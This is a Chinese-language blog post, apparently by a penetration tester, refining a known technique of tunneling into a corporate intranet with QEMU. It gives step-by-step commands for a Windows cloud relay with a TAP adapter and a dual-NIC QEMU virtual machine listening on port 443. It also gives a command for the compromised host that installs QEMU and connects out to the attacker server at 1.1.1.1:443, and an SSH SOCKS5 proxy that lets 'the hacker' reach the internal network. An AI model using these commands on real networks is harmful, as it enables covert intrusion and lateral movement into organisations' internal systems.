前言
閱讀
https://xz.aliyun.com/t/14052 《使用 QEMU 進行內網穿透?》
https://securelist.com/network-tunneling-with-qemu/111803/ 《Network tunneling with… QEMU?》
我將此項技術應用到實戰中,取得不錯的效果,但是也遇到很多坑,此篇文章也是一篇排坑的文章
原文章
下面是原文章的拓撲圖
坑一
坑
原文章中,使用linux 服務器啟動qemu 服務端,并且在上面啟動監聽端口,但是在實際使用中,需要在云上或者vps上搭建服務器環境,云上提供的linux主機一般都沒有desk環境,所以qemu在啟動的時候會常常報 gtk initialization failed 雖然在啟動qemu時加上 --nographic 就可以正常啟動,但是linux 終端就會陷入全黑的狀態,連光標都消失了。
解決方法
在云上購買windows主機,我買的主機是 Windows Server 2019 數據中心版 64位 中文版
然后根據qemu 官方文檔(https://www.qemu.org/download/ ),需要下載和安裝 MSYS2 下載地址:https://github.com/msys2/msys2-installer/releases/download/2024-05-07/msys2-x86_64-20240507.exe
安裝好之后在UCRT64中執行下面的命令:
pacman -S mingw-w64-ucrt-x86_64-qemu
就安裝好qeme了,之后下載 kali-linux-2023.4-live-amd64.iso 放在 C:\msys64\home\Administrator 目錄下
坑二
坑
原文章使用的拓撲中,服務器啟動的qemu只使用一張網卡,被控主機反連此網卡走的所有流量都是被控主機的流量,并且由于在云主機上啟動qemu,云主機上默認不開kvm,所以啟動的qemu不能使用 enable-kvm 加速虛擬機,所以導致啟動的虛擬機會特別卡頓,卡頓到無法流暢使用的地步。
解決方法
需要修改原文的拓撲
上圖最關鍵的是在云主機里面的qemu里面設置雙網卡,并且這兩個網卡的mac地址要設置為不同的mac地址,不然就會出現mac地址沖突,造成只有一個網卡能正常使用的情況。要給qemu設置雙網卡,參考 https://blog.csdn.net/pawpaw77/article/details/130793008 。
-
首先要給windows 服務器安裝虛擬網卡 先下載tap-window6(https://github.com/OpenVPN/tap-windows6/releases/download/9.26.0/dist.win7.zip) 之后cmd進入AMD64目錄(64位系統),執行命令tapinstall install OemVista.inf tap0901,然后Win+R 運行 hdwwiz,添加網絡適配器。最后把新建的網卡命名為 tap0。最后給新創建的網卡設置ip地址為192.168.137.1 掩碼為255.255.255.0。https://blog.csdn.net/pawpaw77/article/details/130793008 這個文章中在后續需要創建網橋,本人經過多次實驗之后,發現完全不需要在windows主機上搭建網橋。
-
使用如下命令創建qemu虛擬機:
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.4-live-amd64.iso -accel tcg -m 24576 -netdev tap,id=tapnet,ifname=tap0,script=no -device e1000,netdev=tapnet,mac=52:54:00:12:34:57 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 4 -netdev socket,id=n1,listen=:443 // 解決網卡是同mac地址問題 ok
創建好之后,進入qemu虛擬機后配置,
ifconfig eth0 192.168.137.2 netmask 255.255.255.0
- 在被控主機上執行如下指令就可以讓被控主機和云上的qemu服務器組成一個私有局域網,當被控主機qemu連接到云上的qemu服務器后qume服務器上另一張網卡上就會自動被分配一個ip地址。這樣云上的qemu虛擬機就可以無限制的訪問到企業內網:
apt update
apt-get install -y qemu-system
qemu-system-x86_64 -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=1.1.1.1:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
注意,這個命令只能在ubuntu上執行,我嘗試在centos上執行,失敗了,我在項目中沒有那么多時間去研究到底是怎么回事,未來有時間再繼續研究一下。
4. 在windows 使用 ssh -D 0.0.0.0:1080 root@192.168.137.2 搭建一條連接到qemu的socks5的代理通道,ssh 監聽到0.0.0.0 就可以讓hacker主機直接使用windows 主機作為跳板連接到企業內網
5. 黑客在自己的pc機器上做如下設置,就可以直接連接到企業內網了